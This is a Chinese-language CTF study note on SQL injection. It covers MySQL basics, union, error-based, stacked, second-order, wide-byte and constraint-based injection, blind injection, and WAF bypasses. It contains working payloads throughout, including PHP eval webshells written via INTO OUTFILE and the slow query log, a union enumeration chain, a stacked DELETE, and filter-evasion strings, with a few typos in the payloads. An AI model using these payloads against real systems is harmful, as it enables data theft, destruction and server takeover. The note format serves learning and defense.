从零开始的SQL注入生活

字义上的从零开始喵。。字义上的私了好多次喵。。。

Episode 1 SQL数据库基础操作

  • 创建
create database_name;#建立一个数据库
create table table_name(
column1 datatype,
.......
);#建立一个表
  • 查询
show tables; //显示当前选中的数据库中的所有表名
select * from users limit 1; //获取第一行的数据,可以通过这个方法得到表中所有的字段名,不会被大量数据顶走
select * from [表名]; #查询整表
select [列名1, 列名2,...] from [库名.表名]; #指定列查询
select [表达式1, 表达式2,...] from [库名.表名]; #查询表达式字段
group_concat(schema_name) from information_schema.schemata
select group_concat(table_name) from information_schema.tables where table_schema=' '
select group_concat(column_name) from information_schema.columns where table_schema=' '
select * from [表名] order by [排序字段] #排序
#条件查询Where
(1)比较运算符 (2)BETWEEN ... AND ... (3)IN (4)IS NULL (5)LIKE (6)AND (7)OR 
(8)NOT
select * from [表名] where [条件];
  • 插入
insert into table_names (column1,column2,column3...)
insert into (table1,table2,table3) values (value1,value2,value3) #替换键已存在的值
on duplicate key update ()#不会了,留个坑先(
  • 注马
select "<?php eval($_POST['cmd']); ?>" into outfile"D:\\phpstudy_pro\\WWW\\shell.php"
2.利用日志文件写入木马
1.开启日志功能

set global slow_query_log=1;
2.设置日志存储路径

SET GLOBAL slow_query_log_file='D:\\phpstudy_pro\\WWW\\shell.php';
3.执行sql语句

select '<?php eval($_GET[H])?>' or SLEEP(11);

episode 2 基础注入

union注入(-1’)

union注入原本是用于合并多条select查询结果;通过-1造成前面一条查询语句返回为空,从而显示我们注入的查询语句。(因为网页只能够显示一条查询记录)

#1.查表列数
-1order by 1~4;
#查完后使用select 语句
select 123;
#查库名
-1union select 1,database();
#查表名
-1union select 1,(select group_concat(table_name)from information_schema.tables where table_schema=’security’),3#
#查列名
-1union select 1,(select group_concat(column_name)from information_schema.columns where table_schema=’security’ and table_name=’emails’),3#
#直接查数据
-1union select 1,(select email_id from emails limit 2,1),3#

#其实还是更推荐urlcode一下注释符号防止没有回弹(%23)

那初学的师傅可能就会不明白这个1,2,3是什么意思

这个1,2,3实际是可以帮助我们快速判断列数的工具(order by:那我呢?)同时,这个1,2,3无关顺序,只要找到回显位并且已经爆出数据表的情况下就可以在回显位写注入语句进一步爆

报错注入

1.extractvalue函数

查询对象xml某一个标签的值

如果查询的标签格式不对,就会报错

利用concat函数来链接两个字符串

查询数据库:’ and extractvalue(‘div’,concat(‘~’,database()))#

-1' and(select extractive(1,concat('~',database())))#

->查询div,~存在会报错

爆出~database()

2.updatexml

更新xml文档内容

语法:updatexml(‘xml名’,’路径名’,更新值);

同样道理,当没有对应路径的时候会报错

' and updatexml('div', concat('~',database()),'hi')#
' union select 1,(extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata))))--+

其他同上

堆叠注入(!)

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为: Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

堆叠注入中奇怪的知识点
1.输入数字有回显而字符没有回显,说明了语句中存在||结构 (在sql中表示连接符号)
设置 sql_mode=PIPES_AS_CONCAT来转换操作符的作用。(sql_mode设置) 利用PIPES_AS_CONCAT令||起到连接符的作用。

二次注入

在正常注册(假设账户名为admin)后登录,尝试修改密码,使用admin’#这个用户名修改却发现成功修改了admin的密码,这就说明存在二次注入的漏洞了

二次注入,实际上就是在注入数据之后,利用系统查询数据的用脏数据进行第二次的攻击,从而达到入侵数据库的目的

宽字节注入

原理

一般来说,如果开发人员在开发的时候,对传入的参数进行了特殊的函数处理,比如使用了trim()函数,htmlspecialchars()函数,addlashes函数,是可以过滤我们非法提交的参数,从而导致SQL注入无法成功。

作为攻击者,要完成的是对参数的拼接,从而导致恶意的SQL语句写入。作为开发者要完成的是SQL输出参数的一个过滤比如对恶意的字符进行转移

常用过滤函数

trim()函数
移除字符串两侧的空白字符或其他预定义字符
htmlspecialchars()函数
把预定义的字符”<”和”>”转换为HTML实体,预防XSS
addslashes()函数
返回在预定义字符之前添加反斜杠的字符串

# 预定义字符
1.单引号(')
2.双引号(")
3.反斜杠(\)
4.NULL

上述函数常在CMS里使用进行过滤

宽字节注入条件

1.数据库为GBK编码
2.使用了转义函数,将、POGETST、cookie传递的参数进行过滤,将单引号、双引号、null等敏感字符用转义符 \ 进行转义

payload

root %df' or 1=1 #
# 原理:在GBK编码中,反斜杠的编码是%5c,在输入%df后,使得添加反斜杠后形成%df%5c,而%df%5c是繁体字“連”,单引号成功逃逸,爆出Mysql数据库的错误

约束攻击

在SQL执行字符串处理操作时,字符串末尾的空格符将会被删除,换句话说”user”是等同于”user “的,对于绝大多数的情况这两个相等都是成立的(像WHERE子句的字符串和INSERT语句中的字符串)

[!WARNING]

但是在像LIKE 子句中这是不成立的。因为对尾部空白符的这种修剪操作,主要是在“字符串比较”期间进行的。这是因为,SQL会在内部使用空格来填充字符串,以便在比较之前使其它们的长度保持一致

在所有的INSERT查询中,SQL都会根据varchar(n)来限制字符串的最大长度。也就是说,如果字符串的长度大于“n”个字符的话,那么仅使用字符串的前“n”个字符。比如特定列的长度约束为“5”个字符,那么在插入字符串“vampire”时,实际上只能插入字符串的前5个字符,即“vampi”

攻击手段

注册一个用户名+一堆括号+1的用户名和自己的passwd(未超出长度限制的字符应该只包含已知的用户名和空白字符)

注:在查询时,SQL是不会将字符串截断的。因此,使用完整的字符串进行搜索,所以不会找到匹配的结果。但当执行INSERT查询语句时,它只会插入被限制长度的字符。

在攻击结束后,输入后来我们自己的密码和已给的用户名,会登录上原始用户

解决办法:
将要求或者预期具有唯一性的那些列加上UNIQUE约束。实际上这是一个涉及软件开发的重要规则,即使你的代码有维持其完整性的功能,也应该恰当的定义数据。由于’username’列具有UNIQUE约束,所以不能插入另一条记录。将会检测到两个相同的字符串,并且INSERT查询将失败。

最好使用’id’作为数据库表的主键。并且数据应该通过程序中的id进行跟踪

为了更加安全,还可以用手动调整输入参数的限制长度(依照数据库设置)

Order by注入

异或注入

一般和盲注一起从出现,原因是大部分基础的查询已经被ban了(悲)

这里涉及到一个知识点,即Mysql的隐式转换,其实和PHP比较相像吧

Mysql的隐式转换
当字符串和数字进行算术计算时,字符串会被尝试转化为数字(如果可能)
例如'1'+1 会被解释为1+1
若不能成功转化(即字符串的首位不为数字),字符串就会被解释为0

所以我们就可以通过异或式来辅助盲注(判断bool盲注的语句返回结果是否为真,帮助加长时间盲注的运算时间)

Episode 3 在拿到flag的边缘疯狂试探:盲注

(哈哈,盲注脚本吗,你问我,我只能说最好自己写一个,网上淘来的毕竟是别人的不如你自己搓的顺手)

先确定注入型,再用and连接一下

布尔盲注
1. length(database())>??? 初步判断
2.

Episode 4 注入点:>猜猜我在哪里呢

POST注入

GET注入

Cookies注入

Episode 5 你好,绕WAF

大小写绕过

如过过滤了and和AND,试试And

双写绕过

如果waf把and替换为空

然后可以使用anandd绕过

空格过滤绕过

/**/ 注释符号

()->select(1),2,3

()可以作为一个子语句查询存在,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。所以就可以用()代替空格

url编码绕过%0a %20 %09 %0a %0b %0c %0d %a0代替。

引号绕过

使用十六进制替代需要用到引号的语句,一般是在最后的查询语句

and和or绕过

考虑管道符||表示or和&&表示and

=绕过

改成like或者<或者>

还有rlike 、regexp(正则匹配函数,‘’是直接找或包含,^是以什么开头,可以用[a-zA-Z]流氓匹配)

  • 这里详细将一下正则的注入吧,感觉和正则沾上关系的都蛮不当人的

正常的一个查询语句就像这样:

select password from users where id =1

这里引用其他师傅打好的实例(sql注入的知识总结 | L’s Blog)

image-20250402210544627

呃呃,怎么理解呢?就把regexp看成从^开始字符串与查询到的原串进行一个比较

逗号过滤

select substr(database() from 1 for 1);
#substr(str,pos,len)的功能是从pos开始的位置,截取len个字符;而无len就是直接截取到最后
select mid(database() from 1 for 1);
#
select 1,2,3-> <select 1>a join <select 2>b join<select 3>c join
select 1,2,3-> select * from ((selcet1)A join (select2)B join(select 3)C);
limit 0,1->limit 1 offset 0;//等于limit 0,1 从第1行往后取0行,只读第一行
#limit 1,2 指的是从第一行往后取2行(包括第一行和第二行);而limit 1 offset 2是从第一行开始只取第二行
select substring('hello' from 1);

比较符号(< >)绕过

一般是盲注要用到捏

最常见的一个盲注的sql语句:

select * from users where id=1 and ascii(substr(database(),0,1))>64

此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了。greatest(n1,n2,n3,…)函数返回输入参数(n1,n2,n3,…)的最大值。

那么上面的这条sql语句可以使用greatest变为如下的子句:

select*fromuserswhereid=1and greatest(ascii(substr(database(),0,1)),64)=64

绕过关键字(union,select,where)

1)使用注释符绕过:

常用注释符:

//,-- , /**/, #(url编码一下还能用), --+, -- -, ;,%00,--a

用法:

U/**/NION/**/SE/**/LECT/**/user,pwd from user

2)使用大小写绕过:

id=-1'UnIoN/**/SeLeCT

3)内联注释绕过:

id=-1'/*!UnIoN*/SeLeCT1,2,concat(/*!table_name*/) FrOM/*information_schema*/.tables/*!WHERE*//*!TaBlE_ScHeMa*/like database()#

4) 双关键字绕过:

id=-1'UNIunionONSeLselectECT1,2,3–-

通用编码绕过

如URLEncode编码,ASCII,HEX,unicode编码绕过:

or1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)

等价函数绕过

hex()、bin()==>ascii()

sleep()==>benchmark()

concat_ws()==>group_concat()

mid()、substr()==>substring() @@user==>user() @@datadir==>datadir()

举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74或者:

substr((select’password’),1,1)=0x70strcmp(left(‘password’,1),0x69)=1strcmp(left(‘password’,1),0x70)=0strcmp(left(‘password’,1),0x71)=-1

长度限制绕过

网页显示常常只能给出有限长度的字母,这个时候就要通过一些函数来绕过

1left201809,4)截取左边的4个字符
SELECT LEFT(201809,4)    //结果:2018

2right(name,2)截取右边的2个字符
SELECT RIGHT(201809,2)    //结果:09

3SUBSTRING(name,5,3) 截取name这个字段 从第五个字符开始 只截取之后的3个字符
SELECT SUBSTRING('成都融资事业部',5,3)   //结果:事业部

4SUBSTRING(name,3) 截取name这个字段 从第三个字符开始,之后的所有个字符
SELECT SUBSTRING('成都融资事业部',3)   //结果:融资事业部

5SUBSTRING(name, -4) 截取name这个字段的第 4 个字符位置(倒数)开始取,直到结束
SELECT SUBSTRING('成都融资事业部',-4)   //结果:资事业部

6SUBSTRING(name, -42) 截取name这个字段的第 4 个字符位置(倒数)开始取,只截取之后的2个字符
SELECT SUBSTRING('成都融资事业部',-4,2)   //结果:资事
注意:我们注意到在函数 substring(str,pos, len)中, pos 可以是负值,但 len 不能取负值。

7、substring_index('www.baidu.com', '.', 2) 截取第二个 '.' 之前的所有字符
SELECT substring_index('www.baidu.com', '.', 2)   //结果:www.baidu

8、substring_index('www.baidu.com', '.', -2) 截取第二个 '.' (倒数)之后的所有字符
SELECT substring_index('www.baidu.com', '.', -2)   //结果:baidu.com

9、SUBSTR(name, 1, CHAR_LENGTH(name)-3) 截取name字段,取除name字段后三位的所有字符
SELECT SUBSTR('成都融资事业部', 1, CHAR_LENGTH('成都融资事业部')-3)            //结果:成都融资

10、mid(str,start,[length])
str:截取的字符串   start:起始位置   length:截取的长度,可以忽略
还可以这么构造:mid((str)from(i)for(1)) #from(1)表示从第一个位置开始截取剩下的字符串,for(1)表示从改位置起一次就截取一个字符

11.reverse(concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))))
用reverse倒序输出,有时候有奇效。?大概吧

Episode 6 模糊匹配

SQL模糊查询,使用like比较关键字,加上SQL里的通配符,请参考以下:

1、LIKE’Mc%’ 将搜索以字母 Mc 开头的所有字符串(如 McBadden)。

2、LIKE’%inger’ 将搜索以字母 inger 结尾的所有字符串(如 Ringer、Stringer)

3、LIKE’%en%’ 将搜索在任何位置包含字母 en 的所有字符串(如 Bennet、Green、McBadden)。

4、LIKE’_heryl’ 将搜索以字母 heryl 结尾的所有六个字母的名称(如 Cheryl、Sheryl)。

5、LIKE’[CK]ars[eo]n’ 将搜索下列字符串:Carsen、Karsen、Carson 和 Karson(如 Carson)。

6、LIKE’[M-Z]inger’ 将搜索以字符串 inger 结尾、以从 M 到 Z 的任何单个字母开头的所有名称(如 Ringer)。

7、LIKE’M[^c]%’ 将搜索以字母 M 开头,并且第二个字母不是 c 的所有名称(如MacFeather)。

Episode 7 奇奇怪怪的知识点和一些技巧积累

短路算法:

|| 逻辑或的短路:a||b

计算机发现a是真,那么输出a;如果a是假,那么输出b

select 1 from :建立一个临时列,这个列的所有初始值都被设为1。如果发现select后面跟有||就可以构造1 ||(sql语句) 用来无效化后方语句。

WITH ROLLUP:(来自ctfshow web10)

语法:group by xxx with rollup

with rollup是对前面数据的一次汇总,此时在查询的数据中会被插入一行值为NULL,此时即可绕过长度检验,前提你要知道在哪个表并且没有对第二个字段是否输入的前端检查

联合查询伪造

通过联合查询,你可以伪造一段没有的数据(即临时数据)

因为union select会把查询结果接在前一个查询结果后面,前面如果查到了东西,那么取得还是第一行

那么通过让前面查不到,回显我们的注入语句就能够达到注入目的(呃呃,感觉有点像二次注入的后面半段)

这里直接应用别的师傅打好的案例

image-20250330124245041

image-20250330124258559

那么只要知道username所在的列就可以直接糊弄过密码的检测了

注释和非注释闭合

众所周知,# --+是为了注释掉后面的’

那我问你,如果注释符全被过滤了呢

诶,那就用到非注释闭合,就是在payload最后把–+这些换成and ‘1’=’1

来达到正常注入不报错的目的

Episode 8 一点感想

刷了一些题目,发现最重要的其实是注入点的判断(除非是万恶的盲注,那重点可能更在脚本上)

[参考文章]: https://www.cnblogs.com/ECJTUACM-873284962/p/8977983.html “基于约束的SQL攻击 - Angel_Kitty - 博客园”
[参考文章]: https://www.cnblogs.com/icui4cu/p/15136893.html “宽字节注入原理及绕过方式”